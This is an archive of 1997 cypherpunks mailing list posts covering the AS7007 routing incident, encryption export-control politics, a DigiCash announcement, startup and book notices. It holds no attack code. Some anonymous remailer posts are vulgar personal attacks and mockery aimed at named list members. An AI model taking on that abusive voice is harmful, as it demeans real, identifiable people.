> > I have been noticing a problem contacting sites all over Northern and Central
> > Europe.
> > 

Sprint's network was somewhat overloaded due to the bogus routes
redirecting traffic onto their network. I doubt the problem spread as far
as Europe, at least on a widespread basis. We have about 200 sites
worldwide, only a few actually connected to Sprint. We only saw
intermittent failures reaching some sites for about an hour. 

The problem occured at about 11:30 a.m. EDT, when the routers in question 
began sending invalid paths. The routers were shutdown at 12:15. 
Re-convergence might have taken another 20 mins. or so.

>   A problem at an Internet service provider in Virginia
>   triggered a massive logjam on the Internet Friday, but
>   the trouble was cleared up later in the day, Sprint
>   Corp. said. A customer of MAI Network Services, a
>   McLean, Va.-based Internet provider that is among
>   900 companies that buy wholesale access to the Net
>   from Sprint, entered 10,000 duplicate routes to the
>   Internet backbone.   That caused massive access delays for
>   an undetermined number of users, a Sprint spokes
>   man said. 


FLX. ASN 7007.

The Sprint router took in 72,000 bogus routes from the downstream 
source before it crapped out. A lot of traffic ended up being re-directed 
to Sprint as a result of the route problem, causing them to haul higher 
than normal levels of traffic.


> 
> 
> I wonder how long it'll be possible for unauthenticated/unapproved people to
> mess around with routers.

Sprint probably should have been filtering routes / AS_PATH (insert debate
here) from its downstreams. This is a management challenge, but Bad
Things(tm) can happen if you don't. 

> can't bring down the whole net, they'll just pass a law requiring
> that anyone who wants the 'enable' password to a cisco have first
> passed a government-approved "Internet Administrators Class" and
> gotten a license.

Why are you picking on Cisco? The equipment in question was a pair of Bay
Networks BLN routers. The jury is still out as to whether this was a Bay
bug or a config screw-up. 

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Mon, 28 Apr 1997 11:27:37 -0700 (PDT)
To: Declan McCullagh <shamrock@netcom.com>
Subject: No Subject
Message-ID: <199704281827.LAA27404@server1.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



> From: jimbell@pacifier.com (Jim Bell)
>
> > can't have everything OUR way, the FIRST time around.  Washington
>
> I think you misunderstand the situation.  The government is in somewhat of a
> disadvantage by virtue of the fact that there is relatively little
> pro-censorship and anti-encryption legislation.  Absent such legislation,

Here is where I don't agree on the merits ...

1.  Pro-censorship agendas does not need much legislative momentum
because it does not take much P.R. on a child-molestation-murder
incident on some little caucasian girl from a motherhood-and-apple-pie
Small Town, U.S.A. to drum up the sentiments to censor.

2.  Anti-encryption has been well guarded by the NSA/CIA/FBI/DoD for a
long time using the semi-legitimate veil of national security.  In
fact, in some senses, there ARE legislative support, even if
unconstitutional when evaluated in the bright light of day.  The
problem is that you'll fight for years JUST TO GET A CHANCE to
evaluate the law itself.

Yes, some of the current legal battles are on their way there, but
it's been a LONG time, and every decision/every appeal takes months to
years, and it's clear that the NSA is hoping that in 2 years, they can
sign up enough pro-key-recovery companies to make the legal battles
moot.  2 years is pretty short compared to the time scales on these
battles, and the NSA is counting on just that.

To me, the time-to-market is just as important as the purity of the
products (the proposed legislations).

> the status-quo moves in a relatively free fashion, which is why the
> Internet is mostly unregulated today.

I don't think anyone will be willing to genuinely export encryption
(in a real commercial product) while directly flaunting the NSA's
implicit/explicit authority on this matter.  Corporations are too
concerned with the short term bottom line to care about more long term
goals like have freedom to export anything it wants.  I already know
of several instances at various companies where designs were
deliberately altered to NOT give the appearance of designing a product
with specific encryption/decryption capabilities, even though that is
what the product must support, fundamentally speaking.  Therefore, I
must conclude that the NSA is definitely winning some battles on their
2 year schedule already.

> From: Declan McCullagh <declan@well.com>
>
> The question is: Do we want to give up any domestic freedom in exchange
> for a relaxation of export controls? (Congress is, after all, built on
> compromises between warring factions.)
>
> My instinct is to say "No." Let the courts strike down ITAR, EAR, and its
> progeny, while we keep our freedoms domestically.

I really don't think we are disagreeing here.  I would not support any
restrictions on domestic usage, nor would I support any restrictions
on what non-governmental institutions may use.  I still believe we
should push for all we can get because that is the way the
legistlative process works, and that is the game the other side is
playing.  However, we shouldn't place unrealistic constraints on our
supporting legislators such as taking an "all or nothing" attitude.

Even if all we can get is 56-bit or 64-bit export legalization, it is
a HUGE chip away from the NSA rock because their "2 years free for key
recovery" plan is just that much weaker.  I would rather see, of
course, 128-bit/168-bit be liberalized, because that would essentially
mean that everything is liberalized, because the NSA has been playing
this "56-bit is too strong" charade, and losing 128-bit/168-bit is
essentially losing their argument, unless they want to risk coming to
the security committees admitting that they have lied.

> From: Lucky Green <shamrock@netcom.com>
>
> > Let's let the legislative process (whatever you think of it) take its
> > course.  I'll be happy even if they sneak some screwy secret committee
> > on the final bill, as long as we are not subject to that committee or
> > any other governmental body just because we allow ftp of C source code
>
> I think this is a dangerous position to take... make that fatal. The
> code is already being ftp'ed out of the US. The law would gain you
> little.

Well, we're not talking about the realities of the massive
semi-underground activities.  We're talking about the U.S. Government,
(which often has poor notions/understandings of reality), corporations
(which often must obide by the laws and regulations, however poor,
crafted by the U.S. Gov.), and genuine consumer applications (which
are significantly driven by the products produced by these
corporations).

> But the new restrictions/enhanced penalties, which will
> inevitably be included in any crypto bill that might become law,
> will set us back severely.  Personally, I hope that none of the
> crypto bills pending gets passed.

Of course, I don't like any of them, especially if there are still
secret committees with very real control written into the legislation.
If the NSA/FBI can call up Robert Allen to stall a secure phone
product line, they already have enough power outside the legal process
that they don't need any real committees to help them out.  However,
NSA will clearly deny having this level of influence to the security
committees, and they will most likely accept the NSA's word.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 28 Apr 1997 10:04:25 -0700 (PDT)
To: Large Recipient List Suppressed <rah@shipwright.com>
Subject: e$: Time for a Financial Cryptography "IdeaLab"?
Message-ID: <v03020914af8a6e7a6671@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



Last week, a close friend handed me a February issue of Inc. magazine, the
one with an article in it about Bill Gross and his IdeaLab project in
Pasadena. Since then, I haven't been able to get Yet Another Idea out of my
mind.


Gross, a veteran entrepreneur with quite a few successful software startups
to his name, has set up a company which uses an investment pool to create
and spin off a rapid succession of small internet startups, using a sort of
"internet startup in a box" approach, all built around a common core of
financial, legal, and marketing people. The idea is to free an entrepreneur
to concentrate on designing, building, and selling the startup's product,
in this case, some kind of internet software or service. IdeaLab takes a
minority equity position in return for its money.

A Boston company which has been doing something like this, only on an
internal basis, is Thermo-Electron Corporation, who has made much more
money spinning off new companies than it ever could as a stand-alone
industrial enterprise.

IdeaLab thinks that it can have this kind of approach with internet
startups above all others because everything on the net happens so fast and
the cost of entry is so small that there are actual diseconomies of scale.
Moore's Law in a geodesic market as capital surfactant, in other words. :-).

Anyway, you can read more about all this, and IdeaLab itself, in the Inc.
Magazine archives: <http://www.inc.com/>.


So, after a couple of years of sitting on the sidelines and cheering people
on (I've had a bunch of fun, but my tax return for last year was a miracle
of financial brevity :-)), of second-guessing the market and being right
more often than I'd care to think about, I've decided to get into the game
and play a bit myself, and see what happens.


What I propose to do is to create a Boston-based copy of the IdeaLab
concept, focusing on financial cryptography, and, in particular,
peer-to-peer internet transaction settlement: internet checking, digital
bearer certificate technology for cash and securities, micromoney
"mitochondria", that kind of stuff.

To do this, I want to collect a core group of financial, legal, and
marketing/promotion folks who would work for the lab company itself, and in
support of the startup firms it creates, until those firms earn enough
money to hire their own people for those jobs. So, I need people in those
disciplines who're not only familiar with the net, but also the idea of
geodesic markets, and of  financial cryptography, but, more important,
people who have participated in founding as many startup companies as
possible. Finding those people may be hard, but I think they're out there.

More important than that, I'm looking for a small initial group of "angel"
shareholders who not only invest in the first round of funding for the lab,
but can work as advisors to these usually very young technological
pioneers, and teach them to think in profit-and-loss terms. Over time, I'd
like to populate the advisor pool with successful graduates of the lab.

The first round of "angel" funding will be to get the lab started and start
the first few companies in areas where I think things are going to pop in
the transaction settlement market shortly. A second round would be big
enough to get participation from the institutional investment community,
but the capitalization of the entire project won't be huge. IdeaLab was
started with $5 million, for example. Right now, I think $10 million would
be the most I could ask for with a straight face for the whole effort. :-)
I'll leave dreamy discussions of some hypothetical hockey-stick investment
return curve for the prospectus, where it belongs. ;-).


I'm at the utter ground floor on this at the moment. No business plan, just
what I think is a pretty good idea.

So, I need all the help I can get. If you've any ideas, particularly if
you've worked on any of the components I need to make this work, I'd love
to hear from you.


Cheers,
Bob Hettinga




-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 28 Apr 1997 10:10:37 -0700 (PDT)
To: cypherpunks@toad.com
Subject: DigiCash appoints CEO and...
Message-ID: <v03020916af8a8a1ce491@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Mon, 28 Apr 1997 22:39:42 +1000
From: Andreas Furche <andreas@digicash.com>
Reply-To: andreas@digicash.com
MIME-Version: 1.0
To: ica@syd.dit.csiro.au
Subject: DigiCash appoints CEO and...
Sender: e-payments-owner@digicash.com
Precedence: bulk

+----------------------------------------------------------------------+
This message was addressed to:  e-payments@lists.commerce.net
+----------------------------------------------------------------------+

DIGICASH APPOINTS CEO, INCREASES OUTSIDE INVESTMENT, AND MOVES
HEADQUARTERS TO CALIFORNIA

MENLO PARK, CA (April 28, 1997) -- DigiCash Inc, a leader and pioneer in
smart card technology and secure and private Internet payments software,
today announced the appointment of Michael Nash as chief executive
officer (CEO) of its worldwide operations.
DigiCash founder, Dr. David Chaum, also announced significant
additional investment that will fuel the company's growth.

Nash will join Dr. Chaum, Nicholas Negroponte, and new investor David
Marquardt of August Capital, on an expanded board that adds new
resources and depth of industry experience to DigiCash.  His primary
mission will be to add business and marketing excellence to the world
class cryptographic expertise and technology that has enabled
development of such cutting edge products as ecash(tm) and OEM smart card
systems, for which DigiCash is recognized throughout the banking and
financial services industry.

"Mike brings a new dimension to DigiCash with his background in the
business of electronic payments and his international marketing
experience with Visa, American Express and the SmartCard Group at
Amdahl," said Dr. Chaum.  "The partnership that we form will take this
company a great step forward and help us grow into a significant force
in the business of electronic commerce."

Nash, who conceived and developed VisaCash, a smart card-based, stored
value payment system, will create an international sales and marketing
strategy for smart cards and ecash(tm), the unique Internet payment system
which offers both security and privacy.
DigiCash is already providing ecash(tm) systems to Deutsche Bank in
Germany, Bank Austria, Advance Bank in Australia, Den norske Bank of
Norway and the Nomura Research Institute in Japan, as well as other
leading banks.

Further expansion in North America, where the company is newly
headquartered, will be a major focus for the new CEO.  Another reason
for the move is to facilitate alliances with firms in the Silicon Valley
area that are pioneering commerce on the Internet.

"Ecash(tm) is at the forefront of a revolution in the way the world does
business," said Nash.  "DigiCash technology offers the security and
privacy that is inherent in traditional bearer instruments such as coins
and bank notes, but with the flexibility and power of the Internet.
This is a great opportunity to shape the new way commerce will be done."

DigiCash interim Chairman Nicholas Negroponte, author of Being Digital,
head of the MIT Media Lab and a member of the Motorola Inc. board is
quoted as saying, "Ecash(tm) is the most exciting thing I've seen in 20
years."  Negroponte is also a general partner of Applied Technology
Investors, one of the firms that is backing DigiCash.

Newly appointed director David Marquardt, General Partner at August
Capital, and previously Technology Ventures Inc. (TVI) was an early
investor in Intuit, Sun Microsystems and Verifone.  He also was the sole
venture investor in Microsoft where he currently serves on their board
of investors.  He too is excited by the possibilities of the technology
that lies at the heart of DigiCash Products, saying, "This is the type
of basic infrastructure that will be essential for the commercial growth
of electronic payments on the Internet."

The target market for ecash(tm) is enormous.  There are more than 20,000
banks and over 10 million retailers around the world that are potential
customers for ecash(tm) transactions, and more than a billion consumers who
want the security, privacy and convenience of electronic coins and
banknotes.  Nash, who has already taken up his appointment with
DigiCash, sees this entire market as an opportunity for his company.  As
well as targeting additional leading banks and other customers in North
America and the Pacific Rim, he has a stated goal of establishing
relationships with leading banks in the G7 nations, a goal which is
already more than half accomplished.

About DigiCash

DigiCash is a private venture capital backed corporation with
headquarters in the United States and offices in The Netherlands,
Australia and Singapore.  Founded by Dr. David Chaum, a luminary in the
field of cryptography and electronic cash technology, the company creates
and markets the most sophisticated software in the world for smart cards
and secure, private Internet payment transactions.

 - end -

EDITORS NOTE: More information on DigiCash and biographies of Michael
Nash and Dr. David Chaum are available from LVA or by accessing the
DigiCash Website at http://www.digicash.com/

DigiCash and ecash are trademarks of DigiCash and should always be
referred to as such.  All other trademarks are the property of their owners.

Contact details:

Netherlands				United States
DigiCash bv				LVA
Toby Chaum				Ian Cheeseman
Ph:		+31 20 665 2611		Ph:		+1 860 739 5598
Fax:		+31 20 665 1126		Fax:		+1 860 691 0353
email:  	press@digicash.com	email: 	icheeseman@mcimail.com
					United Kingdom/Europe
Australia:				LVA UK
DigiCash Pty Ltd			Mike Hardwidge
Andreas Furche				Ph:		+44 181 994 6762
Ph:		+61 2 9375 2316		Fax:		+44 181 995 3050
Fax: 		+61 2 9375 2121		email: 	101765.1155@compuserve.com
email: andreas@digicash.com

--
Andreas Furche					Level 29 The Chifley Tower
Managing Director				2 Chifley Square
DigiCash Pty. Ltd.				Sydney 2000, Australia
e-mail: andreas@digicash.com			ph  +61 2 9375 2316
mobile (0419) 385 569 (NEW number!)		fax +61 2 9375 2121



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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Mon, 28 Apr 1997 13:35:01 -0700 (PDT)
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: Staale & Elm
In-Reply-To: <Pine.BSF.3.91.970428135040.3380C-100000@mcfeely.bsfs.org>
Message-ID: <Pine.GSO.3.96.970428132857.15019B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 28 Apr 1997, Rabid Wombat wrote:

> 
> > Hmm.  I saw problems friday and saturday.  Saturday I was checking URLs in
> > a book on hacking and security that I'm editing, and a number of
> > ordinarily reachable sites were down.  Traceroutes to them showed
> > wierd routing problems, mostly routing 'loops'.
> > 
> 
> Things looked fairly stable Saturday, from my perspective. I'll sniff around.
> Routing loops do sound suspicious. Where were they cropping up?

I found the cause of my problem with connecting.

It seems that those sites have started doing reverse DNS lookups (probably
because of the l0pht hacks).  Reverse DNS is screwed up on my domain, so I
am getting dropped.  (The least people can do when denying addresses from
reverse DNS failure is to give a short message as to why so it can be
fixed, not just drop the connection with no error message.)  The thing
that had me confused about the whole situation is that I was able to get
in on a sporatic basis on one of the machines.

Fixing the problem on my end is going to be a pain.  I have to get it
resolved through two different ISPs to get the gordian dns knot
straightened out.  Blech!

Oh well...  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 28 Apr 1997 12:40:26 -0700 (PDT)
To: Eric Murray <ericm@lne.com>
Subject: Re: Staale & Elm
In-Reply-To: <199704281539.IAA20003@slack.lne.com>
Message-ID: <Pine.BSF.3.91.970428135040.3380C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



> Hmm.  I saw problems friday and saturday.  Saturday I was checking URLs in
> a book on hacking and security that I'm editing, and a number of
> ordinarily reachable sites were down.  Traceroutes to them showed
> wierd routing problems, mostly routing 'loops'.
> 

Things looked fairly stable Saturday, from my perspective. I'll sniff around.
Routing loops do sound suspicious. Where were they cropping up?

> 
> I'm not picking on cisco, you missed my point.
> 

No, just ignored it.  :)

Actually, there is a lot of change going on right now affecting network
topology; many ortganizations are migrating away from the basics and are
implementing packet shredders ^H^H^H^H^H^H^H^ ATM, higher speed circuits
than they are accustomed to, running alpha code on production routers out
of necessity (perceived or otherwise), etc. Very hard to "certify"  that
type of environment, but the exponential growth rate of the 'net has
required (or resulted in) some drastic actions. 


> 
> In all other 'infrastructures' (i.e. phone company, roads)
> only officially-sanctioned people are allowed access to work on things.
> With the phone company, it's phone company employees & contractors, with
> the roads its government employees and contractors.  When private
> extensions are added, they're restricted and compartlemtalized so
> that they can't affect the entire infrastructure... a private
> corporate phone switch's misprogramming doesn't bring down Pac Bell.

It's the "and contractors" that is the catch-all here. That includes damn
near everybody these days. Also - the voice system is still primarily a
connection-switched network, not a packet-switched network. Different
animal. Even so, a certain well known long distance providor managed to
bring down local calling across most of the east coast 4 or 5 years ago,
as a result of a software upgrade that didn't. 


> a situation like this is to design more fail-safes into the system to
> prevent a clueless admin or a router with a software error from
> causing so much damage. 

So much damage? There have been far more severe Internet outages. There 
have been far more severe voice network outages, and for far greater 
duration. Amtrak managed to backhoe a major fiber trunk a while back, and 
nailed both voice and data services in the mid-atlantic region rather 
severely, not all that long ago. Friday was a fairly isolated and short 
term problem, unless you were working at Sprint.

As far as engineering solutions go, the route filtering vs. AS_PATH debate
has been going on for a while.  Recent events should add a bit of fuel. 

 But politicians, when faced with the same
> situation, their first reaction is "We gotta have a Law".

True. But it is hard to legislate competence. Perhaps we could start with 
Congress as an experiment.

> My prediction is that if things like this keep happening, the Internet will
> be declared a "defense interest computer system" or something similar,

Like NIPRnet, which was only about 20% functional for most of a day only 
a few weeks back as a result of ATM switch failures?

The Internet is growing far too rapidly to be 100% dependable, at the 
moment, and no measure of legislation will fix this, certainly not in the 
short run. If Uncle Sam needs a reliable, fault-tolerant network, he 
should fix NIPRnet. If he can figure out how to do that (doubtful), maybe 
he'll have a qual when talking about the big picture.

-r.w.
-------------------------------------------
Shit happens.
-------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gary Howland <gary@systemics.com>
Date: Mon, 28 Apr 1997 06:11:50 -0700 (PDT)
To: "Damien Miller" <dmiller@prometheus.projectx.com.au>
Subject: Re: Don Wood -- IPG
In-Reply-To: <9704282112.ZM1406@prometheus.projectx.com.au>
Message-ID: <199704281311.PAA24765@internal-mail.systemics.com>
MIME-Version: 1.0
Content-Type: text/plain


> On Apr 28,  3:36am, William H. Geiger III wrote:
> 
> > >Have you seen what the notorious Don Wood of IPG infamy is up to now? He
> > >has a new web page up at `http://www.seymourtex.com/newisrael/ni.htm'. You
> > >won't believe it..
> >
> > After his rants about reusable OTP using PRNG's I doubt anyone is surprised
> > that he is not playing with a full deck. I guess he should have spent more
> > time *IN* Israel and less time in Texas public libraries before writting
> > such drivel.
> 
> I understand now!
> 
> This is the output of said PRNG.

No, I think it is a true RNG!  If we can figure out a way to hook his brain up 
to our key generator ...

Gary





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 28 Apr 1997 17:27:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: MAKE BIG REPUTATION CAPITAL !!!
Message-ID: <199704290027.RAA32708@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello Mr. C. Punk,
  We all get junk email promising instant riches if we send away our 
hard-earned dollars to a total stranger who promises us outrageous 
returns on our investment. So why aren't we all rich beyond our wildest
dreams?
  The answer is simple -- GOVERNMENT INTERFERENCE WITH THE FREE MARKET!

  The Federal Treasury only prints so much hard currency, thus limiting
the amount of available funds for the citizens to invest in Multi-Level
Marketing schemes. Therefore, in the long run, all of these efforts are
doomed to failure.
  Now, however, thanks to the cutting edge technology of Reputation
Capital Enterprises, Inc., all government interference has been bypassed
and citizens such as yourself can now be offered a MLM OPPORTUNITY which
is unlimited in scope.
  Now you can increase your REPUTATION CAPITAL by leaps and bounds, by
simply investing a small portion of it in this UNIQUE OPPORTUNITY, which
is initially being offered to only those few individuals who already 
have a modicum of RC to invest.

  Just listen to what a few select individuals have to say about how
the REPUTATION CAPITAL MULTI-LEVEL MARKETING SCHEME has changed their
lives for the better:

Jim Bell:
  "My reputation capital had sunk so low that even when I was persecuted
by the government, I didn't get any support from my fellow anarchists.
  "They all said I was a fucking 'loon' and tried to distance themselves
from me, so that my problems wouldn't reflect badly on themselves.
  "Now, thanks to the RC MLM SCHEME, my Reputation Capital has increased
to such a degree that the IRS tells me they'll just trust me to file
proper returns in the future, even if I claim large rebates, and my 
fellow cypherpunks are fighting over who will get to provide me with 
free lodging, food, and alcoholic beverages during my visit to the
Bay Area cypherpunks meetings."

Rapid Wombat:
  "It's not easy being a marsupial. When you can't walk upright, people
tend to discount your thoughts and opinions, no matter how well you
present them.
  "Thanks to the RC MLM SCHEME, however, I now have people from around
the world who consult me as to what kind of wine goes with insects and
small larvae."

Dr. Dimitri Vulis KOTM:
  "I was once reviled by all -- my posts were canceled from Usenet, I 
was being unsubscribed from mailing lists, and my ASCII art was sent
to the trash bin without a second thought.
  "Thanks to the RC MLM SCHEME my gratuitous insults are now considered
a badge of honor, and I receive constant requests for digitally signed
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  "I even receive private email from Gilmore <spit> and Sameer <fart>,
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Tim C. May:
  "Of course, I wrote about this back in the early '50's, before many
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  "If you took advantage of the RC MLM SCHEME, then you, too, could
write long, rambling posts to the cypherpunks list going on endlessly
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Kent Crispin:
  "I don't have a brain in my head, and I live in an intellectual ivory
tower where I can comfortably avoid any issues which have to do with
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  "Thanks to the RC MLM SCHEME, however, my Reputation Capital has 
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  ACT TODAY, and you can increase your REPUTATION CAPITAL to the point
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to act as if your ideas and opinions are worthy of reading, let alone
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  To begin your journey to REPUTATION CAPITAL RICHES, just send an email
to the addresses below, signifying that you consider this person to be
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  Within days, you will receive a plentiful plethora of pithy
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deeming you to be a person of consummate reputation, worthy of the 
utmost respect for your ideas and opinions.

#1 - alec@abraxis.com
#2 - aga@dhp.com
#3 - alan@ctrl-alt-del.com

Reputation Monger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 28 Apr 1997 17:35:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] BBN
Message-ID: <199704290035.RAA00276@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


If Internet is the `information highway', then Tim 
Mayhem is the roadside litter in the gutter.

      ' ' ' ' 
      ^-O-O-^
   -ooO--U--Ooo- Tim Mayhem





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sh.Hanabusa" <hanabusa@bnn-net.or.jp>
Date: Mon, 28 Apr 1997 02:14:17 -0700 (PDT)
To: cypherpunks@toad.com
Subject: TV Documentary "Crypto Wars" ON AIR in Japan
Message-ID: <199704280914.SAA12808@Postbox.BNN-Net.OR.JP>
MIME-Version: 1.0
Content-Type: text/plain


TV Documentary "CRYPTO WARS" (60min)
On air at 8pm Apr 28th (only in Japan)

------------------------------------------
Cast;

Sameer Parekh / C2NET
Ian Goldberg
Tim May
Bill Stewart
Hugh Daniel
Vince Cate

Phil Zimmermann / PGP Inc.

Eric Schmidt / Sun Microsystems
Jeff Treuhaft / Netscape Communications

Stewart Baker
Dorothy Denning
William Reinsh / Commerce Dept.
--------------------------------------------

Contents;

What is the cypherpunks?
RSA Conference
US Government's Export Controls
Ian Goldberg's 40bit RC5 crack
What is the NSA?
Feb. Cypherpunks Meeting at Stanford
PGP 1.0
Silicon Valley vs US Government
Strategy of the "C2 Net"
Discussion about "Key Recovery"
Financial Cryptography Conference in Anguilla

----------------------------------------------

Special thanks for your cooperations

   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
     Shuichiro Hanabusa (hanabusa@bnn-net.or.jp)
     Producer/ Special Programs 
     NHK Enterprises 21 Inc. 
     Location: Tokyo/ Japan
   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 28 Apr 1997 18:28:20 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Accounts payable
Message-ID: <199704290128.SAA02591@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Mon, 28 Apr 1997
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Cc: cypherpunks@toad.com
Subject: Re: Accounts payable
Sender: owner-cypherpunks@sirius.infonex.com
Reply-To: Graham-John Bullers <real@freenet.edmonton.ab.ca>

On Mon, 28 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Here, Timothy C[unt] Mayonnaise descends into total inanity. 
> He should have a cold shower and/or Graham-John Bullers.
> 
>         ///////
>         \-oo-/  Timothy C[unt] Mayonnaise
>          \--/
>           \/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Mon, 28 Apr 1997 19:56:14 -0700 (PDT)
To: cypherpunks@toad.com
Subject: ZDNet Special Offer:  PC Tech Forum Discount!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.29987.04281997200005.114470@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


--------------------------------------------------------------------
           ZDNET ANNOUNCEMENT          5/1/97
--------------------------------------------------------------------

PC Week and PC Magazine, co-sponsors of PC Tech Forum, have an 
exclusive offer for ZDNet members: Attend PC Tech Forum on 
May 20- 21 for a *SPECIAL* low rate of $995 - a $200 discount!

What:  PC Tech Forum
Where: Hyatt Regency/San Francisco Airport, Burlingame, California
When:  May 20-21, pre- and post-conference seminars May 19 and 22

PC Tech Forum, hosted by Michael Slater, Founder and Principal 
Analyst of Microprocessor Report and MicroDesign Resource, is your 
chance to get a comprehensive look at the state of the PC 
technology. If you design or market PCs or PC components, make 
major technology adoption decisions, or need to know which 
companies have the best PC technology, PC Tech Forum is for you.

Highlights of the conference:

* Find out where the PC market is headed with presentations from 
Jim Louderback  of PC Week, Robin Raskin of Family PC,and Aaron 
Goldberg of Computer Intelligence.

* Panel discussions with ZD's leading editors, including Michael 
Miller and Bill Howard of PC Magazine, and top industry analysts.

* A hard look at the technologies competing to reduce the total 
cost of PC ownership including Java, NetPCs, and network computers.

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using Pentium II plus AGP and key trends in notebook design.

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 and WebTV.

In addition to the two day conference, you can also attend pre 
and post conference seminars on key PC technologies including "CPU 
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To register at this special low rate of  $995, please call 
800.527.0288 (US and Canada) or 707.824.4001 (international) 
before May 15 and refer to the source code "PCTFZD".

For complete information on the conference, visit the PC Tech 
Forum website at:

http://www.mdronline.com/pctfnow.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Damien Miller" <dmiller@prometheus.projectx.com.au>
Date: Mon, 28 Apr 1997 04:11:20 -0700 (PDT)
To: "William H. Geiger III" <lrdon@cyberstation.net>
Subject: Re: Don Wood -- IPG
In-Reply-To: <199704280838.DAA08848@mailhub.amaranth.com>
Message-ID: <9704282112.ZM1406@prometheus.projectx.com.au>
MIME-Version: 1.0
Content-Type: text/plain


On Apr 28,  3:36am, William H. Geiger III wrote:

> >Have you seen what the notorious Don Wood of IPG infamy is up to now? He
> >has a new web page up at `http://www.seymourtex.com/newisrael/ni.htm'. You
> >won't believe it..
>
> After his rants about reusable OTP using PRNG's I doubt anyone is surprised
> that he is not playing with a full deck. I guess he should have spent more
> time *IN* Israel and less time in Texas public libraries before writting
> such drivel.

I understand now!

This is the output of said PRNG.


Damien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Mon, 28 Apr 1997 19:14:51 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Corrected Printing of Applied Cryptography Now Available
Message-ID: <v0300780daf8b0a6abf93@[206.11.192.152]>
MIME-Version: 1.0
Content-Type: text/plain


Wiley has finally published a corrected printing of Applied Cryptography,
2nd ed!!!

They didn't correct everything, only changes that didn't affect page breaks.
Still, I counted over 250 individual corrections.  And under a dozen errors
remaining.  I'm thrilled that they finally did this.

The fifth printing (or greater) is the corrected printing.  To find what
printing you own, turn to page iv (it's opposite the "Contents in Brief"
page).  The last line (under "Printed in the United States of America")
is a series of numbers, counting down from 10.  The lowest number is the
printing.  You have a fifth printing if your last line looks like:

	10 9 8 7 6 5

If you want to buy a fifth printing, you have two options.  One, you can go
to a bookstore and find one.  You can't ask the bookstore to buy a fifth
printing; all he can do is order a copy of the book and hope for the best.
I believe that the fourth printing is sold out (in softcover, at least),
but I cannot be sure.

The other option is to buy it from me.  I have a large supply of fifth
printings that I will sell at the usual 15% discount:

	softcover - $42.00
	hardcover - $59.00

